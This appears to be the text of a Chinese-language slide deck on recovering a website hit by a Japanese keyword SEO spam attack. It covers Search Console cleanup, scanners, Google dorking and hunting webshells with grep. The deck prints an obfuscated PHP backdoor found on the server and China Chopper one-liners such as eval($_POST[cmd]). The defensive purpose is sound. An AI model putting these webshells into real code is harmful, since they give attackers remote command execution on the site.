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第二次被駭

日文關鍵字

攻擊

被駭時間軸



被駭畫面



被駭畫面



移除網址



移除網址

移除網址：
→把錯誤的頁面、快取和失效的網址..等，請 Google於搜尋引擎中下架移除



Google Search Console：

google提供給網站管理者提升SEO的工具

Search console

SEO，search engine optimization

(搜尋引擎最佳化)

• 是一種搜尋引擎的演算法規則

• 目的：提升網站的排名



更新sitemap

Sitemap：幫助搜尋引擎爬取網站上的資料內容



Sitemap產生器

免費

沒有限制網頁數量

速度快

支援google 格式(XML)

支援yahoo格式(TXT)

爬到的資訊完整

Wonder WebWare Sitemap

推薦理由：

10 Best Free Sitemap Generator you should know
https://www.lauyou.com/10-best-free-sitemap-generator/

https://www.lauyou.com/10-best-free-sitemap-generator/


Google論壇詢問



Site: 指令

檢查 Google搜尋引擎建立網站索引狀況，

也就是檢查網站是否有健康的被收錄於搜尋

引擎之中。

搜尋索引狀況



operator 說明

site 指定一個特定的網域做搜尋

inurl 找出於url有該字串的網頁

intitle 找出於網頁標題有該字串的網頁

intext 找出於網頁內文有該字串的網頁

filetype 明確找出指定的檔案類型

Google Hacking

Google Hacking：

利用google搜尋引擎尋找安全漏洞的駭客技術，也是一種駭客攻擊前的偵查。

Google Hacking https://goo.gl/XTM6zz
白帽駭客新兵訓練營(電子書) https://goo.gl/sPXp7g

Google Hacking for Penetration Testers https://goo.gl/ebuhrF

“Index Of”
網站的目錄曝光在
公眾之下

https://goo.gl/XTM6zz
https://goo.gl/sPXp7g
https://goo.gl/ebuhrF


GHDB

Exploit DB 

https://www.exploit-db.com/

• 駭客提交漏洞的平台，又稱漏洞資料

庫，除了提供漏洞外，也一併提供程

式碼與工具。

漏洞或機密資料：企業內伺服器、檔案、密碼記錄檔、公開的目錄、網頁介面的設備管理畫面、遠端桌面的用戶協定以及管理介面、或是路由器、交換器的管理者介面存在的弱點

• GHDB

• 存放許多利用GOOGLE進階搜尋

指令搭配相關關鍵字的方法，搜

尋網頁的漏洞或機密資料。

https://www.exploit-db.com/
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在目標網站上以隨機產生的目
錄名稱建立含有日文的新網頁。

網頁會超連結到特定的販售仿
冒品牌商品的網站藉以牟利。

利用SEO的方式，提高關鍵字搜
尋的引擎排名並顯示搜尋結果。

駭客的帳戶會加入 Search 
Console 成為網站擁有者。

日文關鍵字攻擊



被駭時間軸

01

2016/03-04

第一次被駭

網頁置換

02
Search

Console

被登入

2016/05

03

2017/05

版 本 / 套 件

更新

04

2017/06

第二次被駭

日文關鍵字

攻擊



處理步驟

更新sitemap

完整備份網站/網站下線

免費網站掃毒軟體

論壇詢問

檔案權限管理

搜尋惡意程式碼

移除網址

更新密碼



線上免費掃毒軟體

Google子公司
一次使用數十種防毒
軟體來掃描
https://www.virustotal.com/zh-tw/

美國網站安全公司
與另外10權威
網站安全資料庫比對
https://sitecheck.sucuri.net

virustotal Sucuri Quttera

Top 11 Free Online Tools for Testing Your Website’s Security https://goo.gl/qjnfBp

Quttera 提供了黑名單功能，
主要市場WordPress
https://www.quttera.com/home

https://www.virustotal.com/zh-tw/
https://sitecheck.sucuri.net/
https://goo.gl/qjnfBp
https://www.quttera.com/home


尋找遭到入侵的檔案

• 網站被攻擊之后，駭客通常會留後門(webshell)，並使用混淆技術來躲避檢測。

• 較常用的混淆技術(php涵式)

• base64() :使用base64對數據進行編碼

• eval() :使一段字符串如同PHP代碼一樣執行

• gzinflate() :對數據進行解壓縮

• str_rot13() :對字元串執行 ROT13 轉換

• 舉例:

• eval(gzinflate(base64_decode(‘5b19@#@......^&*Z9P8C')));

使用base64 編碼的數據進行解碼

php後門木馬常用命令分析與防範 http://www.wenwenti.info/article/50563

解壓縮執行

http://www.wenwenti.info/article/50563


指令：

> find 搜尋的路徑 -type f -name “*.php” |xargs grep "eval"

查詢檔案 指定檔案類型搜尋
•d：目錄。
•f：一般的檔案。
•l：連結檔

進一步的搜尋檔案中的內容

列出目前目錄底下所有的 PHP 檔案

關鍵字：
base64、eval…

關鍵字搜尋惡意程式

/var/www/html/tcrc/lab/tcrc_tcrc/administrator/components/com_focontentuploader /lib/phpexcel/Classes/PHPExcel/Reader/ExcelProcessor.php: <?php 
eval(str_replace('2   1', '2 + 1', urldecode(base64_decode(gzinflate(base64_decode(‘fVbLdqM4EP0lHnGf8aIXweZhpVEGgUqgHQKnMQhMx07AfP
0U4KTTi55FHeBIqsete1WQ5GAo35tKb3tTdqHD+lGHRrQ+a2Yrm7wWVqVlGl1JQj1pgRH7ust9wDPkvbzx2/MOLeZTdOJDlDo3KcoXJTwjs6qXTIwXkhwe0Gy0aX2Hvd
xxO6oPmi6xGk354R7bfcd1974Xz5A9Poes9SaZZEZqMZ1Z20bGa9ywGTfK9lwutl1s6R3zD1NUQ63E+Jbxiknj6iWpQ5ir7QQYk2b/FrejBJtdRFNsQsH2kdg2oRVNiW/mR
+hT1pEcTGJJr2Il9AGkzqd/EF6ggp7ELtlkNWmOoNPQLyvhmp1oN0/K65Oo60+hPg9yT3z0x5VVapiaMeblc+6TPur07H/IJhofhZfGtdcwE7oMMF9Tp1Rcw7DWm5gXY
6n7QPmm5onzI+b0XVpexkXZwASvQldEWizI/ZHEHrlkljEeGx08C3P+fhea7mKPXUCUcailifufMP4+0l4DRj9lUFJpMvTf5+jv27w/9+km6sr7evWszD7FeFK11+fI0k7B9Y
G325wbJMgsUyhX+0knc6UPk4DqCb890ck1P6jiwj/caEAJM+Ug3fKsfNpHNcmF23/LoNiUXLuJKBEv3S3reP4YOHLON5sIFAbWk+oP/B1l6rn+Bc8M+1G29MA754RcH
RBfvxSA+FMpFjz0LtR9Fnd9BZM2E78YYkPvsR+CWdWQ2XjeotdnsakVlwaev8z4ob86NLG/UD4hPwJor4RZoxnzKkY8kqjdnkKDXNbvJZ9KeF6H/b4UFuLbasTnMGL+Q
gmWljb95E8u2LxfhP4I3OAb0HIfNYQr/9pB7fjchFfWbAVrLzb6bwof+xvIZvaP/cvVzJ/aqVa+ID8sgv0b88hY8Z/5SBNHY38s0X7WywFkghw6R5pdeENYbo2UmzIWzYIvY
dA/QcNNpvmI/YjzSScxB0+a4DFNBROjCxoeIg098kdA0zPYe8+sGftIlID9uuPRs9C9ksjadrx+NKHRnvTHkwK5EVDa6O8ArT4hnr/Q/0PhNTfAykMNqB9jc+Q6CFNZK8D
vBnHydKoCWh8T9sE/XyEeWN+3jM/6JcGMPzOy28zfWb9JO2I/etQ38tnVAfKzjhFf1Kv80AsT7F9Y9NGj3sa5/1PM5S4EfZ35d+SEYv+fEe839Pe7fz5BvCA/8sOsj1gZix4
W/WdG9VTq8xS31YlPrMP6LgrroalsIrvsFj642j362wb1aSdW81C20ST3NESemNILTeTzNbPlgo/QhXlE/iapjOR0178ps6i9Lvye64OWBryt8P6Qrwnic+SmyxInPDbumAS9
F6K+ooT8mzfukFg9KZEPPIVPPRV8xDuWuqsdbmibjzsXzYgMNoSuYTFfX1hbva/rdEcSx/m9bu6/rA93X8v50trecpuepQADC5gYard0q17iTClsFq8z5+cyA0IDZ4Dr9fKE9
/puvd+pS91i71CM0ytXntVtWZsY3v+h792K1tukNjVV/Od+2nzuN6PaxfmyzhmcMde/1wa7MEYN7PBMRyrVzmd+Dh94hPEy5+Z1zOE8+5rxGp7mnPbuh3+caXMd7n
2GfjW2Z8HjkHDq5inxc/8frJlNRUB61bF2no2xZvoYRPMcRPNePmZnZMILAxInJuGJsaUR38gICEdOhAzVF9bFGr+hVYG5H2E7lcK4Y3uPm0g3F+MSF+fteJ+zm7mGH/
GK+f/hRzm5ZWLTzDnNe6Mvda/4Pv5acDp9+R+4+/1qNGDnPA2X/4ksdYaVF/BWpKDx/qYypVOGPLnX/pVjt7VPSz9smRL8Zzn8rv3vuBu5r6c1jjcUO8TFAPxPYX3RQl
1+cM3Sb9KHhx+dcy5mjrXbofT1u5rV7NN3BdtWWfjsmEYzC398zwTTBdZLb3/UbLPH79//Aw=='))))));?>



WEBDIR+
百度安全團隊開發的一套線上
webshell掃描服務。
https://scanner.baidu.com/#

關鍵字搜尋惡意程式

1.

2.

3.

https://scanner.baidu.com/


關鍵字搜尋惡意程式

一句話木馬：

• 僅需要短短的一串執行指令，就可以讓駭客入侵網站。

• 沒有完整的網站控制功能之腳本，透過遠端工具連接，獲得完整的控制功能。

$_POST[ ] 函式：server取得clinet傳送的資料

中國菜刀
一款專業的網站管理工具，大小只有300多
KB，為駭客常用的webshell工具，功能非
常強大。

http://www.jb51.net/hack/164013.html

• eval($_POST[pass]); 可以抓到使用者提交的密碼

• eval($_POST[cmd]); 可以執行使用者提交的任何cmd命令

常用的一句話木馬

https://goo.gl/wbUVbs

http://www.jb51.net/hack/164013.html
https://goo.gl/wbUVbs


• 澳洲國防分包商遭中國網路犯罪者慣

用的遠端存取木馬「中國菜刀」攻擊，

並安裝了許多webshell以供遠端存取，

藏匿時間長達5個月。

• 被駭的資訊：

• F-35匿蹤戰鬥機

• P-8反潛巡邏機

• C-130運輸機

• 聯合直接攻擊導引炸彈

（JDAM）

China Chopper

https://goo.gl/Jfwypy
https://goo.gl/3Feobp

https://goo.gl/Jfwypy
https://goo.gl/3Feobp


其他隱藏方式：

• 利用$GLOBALS變數來預防被掃描軟體偵測到

• 使用explode函式來干擾代碼被檢測

$globals[] = explode(‘分格符號’, ‘需要分解的字串');

關鍵字搜尋惡意程式



Google重審
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